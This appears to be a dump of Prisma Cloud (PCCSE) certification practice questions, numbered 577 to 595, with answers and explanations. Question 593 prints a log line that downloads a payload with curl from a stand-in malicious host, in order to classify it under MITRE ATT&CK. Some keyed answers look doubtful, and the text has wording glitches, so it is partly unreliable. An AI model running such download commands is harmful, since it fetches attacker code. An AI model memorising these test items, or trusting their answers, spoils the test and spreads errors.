PCCSE PDF sample Questions

PCCSE sample Questions

Question: 577
A DevOps engineer needs to configure a Twistlock policy to block a container running the image
"malicious:latest" if it attempts to execute a process named "crypto_miner". Which configuration steps
are required?
A. Create a runtime policy in "Defend > Runtime > Container" and add "crypto_miner" to the denied
process list
B. Set the policy action to "Prevent" for the specified image
C. Use a vulnerability scanning policy to detect "malicious:latest"
D. Configure a custom compliance rule for process monitoring
Answer: A, B
Explanation: A runtime policy in "Defend > Runtime > Container" with "crypto_miner" in the denied
process list and the action set to "Prevent" will block the container from executing the specified process.
Vulnerability scanning and compliance rules do not address runtime process blocking.
Question: 578
A security engineer wants to implement tokenization to protect sensitive credit card information in a
cloud application. Which of the following best describes how tokenization differs from data masking?
A. Data masking replaces data with random characters without preserving format
B. Data masking encrypts data in transit using TLS
C. Tokenization encrypts data at rest using customer-managed keys
D. Tokenization replaces sensitive data with non-sensitive tokens that can be mapped back to the original
data
Answer: D
Explanation: Tokenization replaces sensitive data with tokens that are non-sensitive but can be mapped
back to the original data securely when needed. Data masking obscures data by replacing it with altered
values, often irreversible, to protect it in non-production environments. Encryption protects data at rest or
in transit but is different from tokenization and masking.
Question: 579
How does Prisma Cloud integrate with Jenkins for image scanning?
A. Through twistcli CLI in build pipelines
B. Via Jenkins plugins using REST APIs
C. Using webhook-based notifications
D. Via Kubernetes operators
Answer: A
Explanation: twistcli integrates into CI/CD pipelines (e.g., Jenkins) to scan images before deployment.
Question: 580
An organization automates remediation for GCP Compute Engine instances with open firewall rules
using Prisma Cloud. Which Python script snippet using the Google Cloud SDK remediates this issue?
A. from google.cloud import compute_v1
client = compute_v1.InstancesClient()
client.stop(project='my-project', zone='us-central1-a', instance='my-instance')
B. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
client.delete(project='my-project', firewall='my-firewall')
C. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
firewall = client.get(project='my-project', firewall='my-firewall')
firewall.allowed = [compute_v1.AllowedRule(ip_protocol='tcp', ports=['22', '3389'])]
client.update(project='my-project', firewall='my-firewall', firewall_resource=firewall)
D. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
firewall = client.get(project='my-project', firewall='my-firewall')
firewall.allowed = [compute_v1.AllowedRule(ip_protocol='tcp', ports=['80'])]
client.update(project='my-project', firewall='my-firewall', firewall_resource=firewall)
Answer: D
Explanation: To remediate open firewall rules, the script should update the firewall to allow only specific
ports (e.g., HTTP on port 80). The correct script uses the Google Cloud SDK to modify the firewall
rule’s allowed field. Deleting the firewall may disrupt connectivity, allowing SSH and RDP ports opens
more access, and stopping an instance doesn’t address firewall rules.
Question: 581
In a multi-cloud environment, a DevOps team needs to ensure that a Cloud Workload Protection (CWP)
policy prevents unauthorized processes in a Kubernetes cluster. Which configuration in Prisma Cloud
Compute ensures runtime protection for this scenario?
A. Set up a vulnerability scanning policy under "Monitor > Vulnerabilities"
B. Enable auto-scaling for Defenders in the Kubernetes cluster
C. Configure a runtime policy in "Defend > Runtime > Container" with a denied process list
D. Use the twistcli tool to scan container images during CI/CD
Answer: C
Explanation: A runtime policy in "Defend > Runtime > Container" allows administrators to define a
denied process list, preventing unauthorized processes from running in Kubernetes containers. Autoscaling
Defenders ensures coverage but doesn’t address process control. Vulnerability scanning and
twistcli scans focus on image vulnerabilities, not runtime process enforcement.
Question: 582
A policy violation occurs due to an unencrypted S3 bucket. Which alert state is assigned?
A. Open
B. Resolved
C. Snoozed
D. Dismissed
Answer: A
Explanation: New violations enter the "Open" state until remediated.
Question: 583
A security engineer notices a drift in an AWS Lambda function’s configuration, where an environment
variable was modified to expose sensitive datA. How can Prisma Cloud detect this drift?
A. Use a Config RQL query to monitor Lambda function changes
B. Enable Workload Protection with runtime scanning
C. Configure a compliance policy for Lambda environment variables
D. Use Cloud Discovery to scan for Lambda misconfigurations
Answer: A
Explanation: Prisma Cloud can detect configuration drift in AWS Lambda functions using a Config RQL
query (e.g., config from cloud.resource where api.name = 'aws-lambda-function' AND json.rule =
environment.variables changed). This monitors changes to environment variables. Workload Protection is
for containers, compliance policies focus on standards, and Cloud Discovery is for asset discovery, not
drift detection.
Question: 584
Analyze the following Prisma Cloud alert JSON snippet for a suspicious login event:
{
"alertType": "UserLoginAnomaly",
"user": "jdoe@example.com",
"sourceIP": "203.0.113.45",
"geoLocation": "CountryX",
"loginTime": "2025-06-27T08:15:00Z",
"anomalyScore": 87
}
Which automated response action should be triggered based on this alert?
A. Block user account immediately
B. Notify security team and log the event for further analysis
C. Initiate multi-factor authentication challenge for the user
D. Disable source IP address in firewall rules
Answer: C
Explanation: An anomaly score of 87 indicates high suspicion but not confirmed compromise. Initiating a
multi-factor authentication challenge adds a verification step without immediately blocking the user,
balancing security and usability. Immediate blocking or IP disabling may be premature without further
evidence.
Question: 585
Which of the following best describes the principle of least privilege as applied in Prisma Cloud IAM
configurations?
A. All users are given administrative privileges to avoid access issues
B. Users and service accounts are granted only the permissions necessary to perform their tasks
C. Permissions are assigned globally to simplify management
D. Service accounts have unrestricted access for automation purposes
Answer: B
Explanation:
The principle of least privilege restricts users and service accounts to only the permissions they need to
perform their functions, minimizing risk. Granting excessive or global permissions increases security
exposure.
Question: 586
What is the default TCP port used by Defender agents to communicate with the Prisma Cloud Console?
A. 8080
B. 8084
C. 443
D. 8443
Answer: B
Explanation: Defender agents communicate with the Console over TCP port 8084 by default.
Question: 587
A security engineer is configuring a CSPM policy to detect exposed AWS RDS instances. The policy
must alert on instances with public IP addresses and non-compliant security group rules. Which
configuration steps are required?
A. Deploy Defenders to RDS instances for runtime protection
B. Enable RedLock-based threat detection for RDS instances
C. Create a policy under "Defend > Compliance > Cloud" with conditions for public IP and security
group rules
D. Use twistcli to scan RDS configurations
Answer: C
Explanation: A CSPM policy under "Defend > Compliance > Cloud" can be configured to detect RDS
instances with public IPs and non-compliant security group rules. RedLock focuses on threat detection,
not configuration checks. Defenders and twistcli are irrelevant for RDS instance monitoring.
Question: 588
Which Prisma Cloud feature allows you to define infrastructure security policies as code and integrate
them into your CI/CD pipeline?
A. Policy as Code (PAC)
B. Cloud Security Posture Management (CSPM)
C. Cloud Workload Protection (CWP)
D. Network Security Module
Answer: A
Explanation: Policy as Code (PAC) allows defining security policies in code (e.g., Terraform, Sentinel)
and integrating them into CI/CD pipelines for automated enforcement. CSPM manages posture, CWP
protects workloads, and Network Security Module manages network controls.
Question: 589
An enterprise has deployed Prisma Cloud Compute to protect containerized workloads on AWS EKS.
During a security audit, the team identifies a container running with elevated privileges, which violates
their security policy. Which Prisma Cloud Compute feature and setting should be configured to prevent
this in the future?
A. Compliance Policies, setting "Block Privileged Containers" to true
B. Vulnerability Management, configuring "Deny High-Risk Images"
C. Runtime Protection, enabling "Prevent Privilege Escalation"
D. Access Control, restricting container IAM roles
Answer: C
Explanation: Runtime Protection in Prisma Cloud Compute, specifically the "Prevent Privilege
Escalation" setting, is designed to block containers from running with elevated privileges, addressing the
audit finding. This feature monitors container runtime behavior and enforces policies to prevent privilege
escalation. Compliance Policies focus on static checks, Vulnerability Management targets image
vulnerabilities, and Access Control manages IAM roles, not container privileges.
Question: 590
A cloud security engineer is reviewing a Prisma Cloud policy that denies inbound traffic from specified
countries using a network list. Which Prisma Cloud feature allows defining such geographic IP
restrictions?
A. Compliance policies with geographic conditions
B. RBAC scoped by geography
C. Network lists with country IP ranges
D. Alert rules with geographic IP match
Answer: C
Explanation:
Network lists can be configured with IP ranges corresponding to specific countries, enabling policies and
alerts to restrict or monitor traffic based on geographic origin. RBAC and compliance policies do not
handle geographic IP restrictions directly.
Question: 591
Scenario: A security engineer configures Prisma Cloud to scan container images for sensitive data before
deployment. Which command syntax correctly performs this scan using Twistcli?
A. twistcli images scan -u api -p api --address https://cloud.twistlock.com myimage/latest --container
B. twistcli images scan --docker-address https://cloud.twistlock.com myimage/latest
C. twistcli images scan -u api -p api --docker-address https://cloud.twistlock.com myimage/latest
D. twistcli images scan -u api -p api --address https://cloud.twistlock.com --details myimage/latest
Answer: D
Explanation: The correct syntax includes user (-u), password (-p), address of the Prisma Cloud console,
and the image name with the --details flag to perform a detailed scan. The other options misuse flags or
omit necessary parameters.
Question: 592
Which of the following best describes Cloud Data Security Posture Management (DSPM) in Prisma
Cloud?
A. Tokenization of sensitive data in databases
B. Encryption of data at rest using customer-managed keys
C. Continuous discovery, classification, and risk assessment of data across cloud environments
D. Masking data in API responses
Answer: C
Explanation: DSPM provides continuous discovery, classification, and risk assessment of data stored in
cloud environments to Boost data security posture. Encryption, tokenization, and masking are data
protection techniques but are not posture management.
Question: 593
A Prisma Cloud Compute alert shows the following log excerpt:
Process: /usr/bin/curl Command: curl http://malicious.example.com/payload.sh
Which MITRE ATT&CK technique does this represent?
A. T1059 - Command and Scripting Interpreter
B. T1204 - User Execution
C. T1071 - Application Layer Protocol
D. T1105 - Ingress Tool Transfer
Answer: D
Explanation: The command downloads a payload from an external server, which is characteristic of
Ingress Tool Transfer (T1105). Command and Scripting Interpreter (T1059) relates to execution of
scripts, Application Layer Protocol (T1071) relates to communication channels, and User Execution
(T1204) involves tricking users to run code.
Question: 594
What Prisma Cloud feature maps multi-cloud resources to GDPR requirements?
A. Compliance standard with GDPR template
B. DSPM with data classification rules
C. Custom policy for data residency
D. Infinity Graph with GDPR framework
Answer: D
Explanation: The Infinity Graph visually maps resources to GDPR controls.
Question: 595
A cybersecurity architect is implementing PAM for an Azure privileged account. Which Prisma Cloud
feature restricts access to specific times of day?
A. Time-based access policies in the IAM Security module
B. Anomaly detection with time-based triggers
C. Compliance policies for privileged accounts
D. Network policies with time restrictions
Answer: A
Explanation: Prisma Cloud’s IAM Security module supports time-based access policies to restrict
privileged account access to specific times of day, enhancing PAM controls. Anomaly detection,
compliance policies, and network policies do not provide time-based access restrictions.
